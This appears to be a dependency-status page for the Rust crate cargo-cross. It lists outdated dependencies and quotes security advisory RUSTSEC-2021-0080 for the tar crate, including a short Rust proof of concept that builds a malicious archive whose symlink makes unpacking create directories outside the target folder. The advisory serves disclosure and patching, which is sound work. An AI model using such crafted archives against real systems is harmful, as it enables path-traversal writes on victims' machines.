This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate cargo-cross

Dependencies

(18 total, 10 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 chttp^0.1.50.5.5out of date
 console^0.6.10.15.8out of date
 directories^1.0.15.0.1out of date
 env_logger^0.5.120.11.3out of date
 failure^0.1.20.1.8up to date
 heck^0.3.00.5.0out of date
 indicatif^0.9.00.17.8out of date
 log^0.4.30.4.21up to date
 platforms^0.1.33.4.0out of date
 semver^0.9.01.0.23out of date
 serde^1.0.711.0.201up to date
 serde_derive^1.0.711.0.201up to date
 serde_json^1.0.261.0.117up to date
 sha1^0.6.00.10.6out of date
 structopt^0.2.100.3.26out of date
 tar ⚠️^0.4.160.4.40maybe insecure
 tempfile^3.0.33.10.1up to date
 xz2^0.1.50.1.7up to date

Dev dependencies

(2 total, 2 outdated)

CrateRequiredLatestStatus
 assert_cmd^0.9.12.0.14out of date
 cargo-toml-builder^0.1.00.3.0out of date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!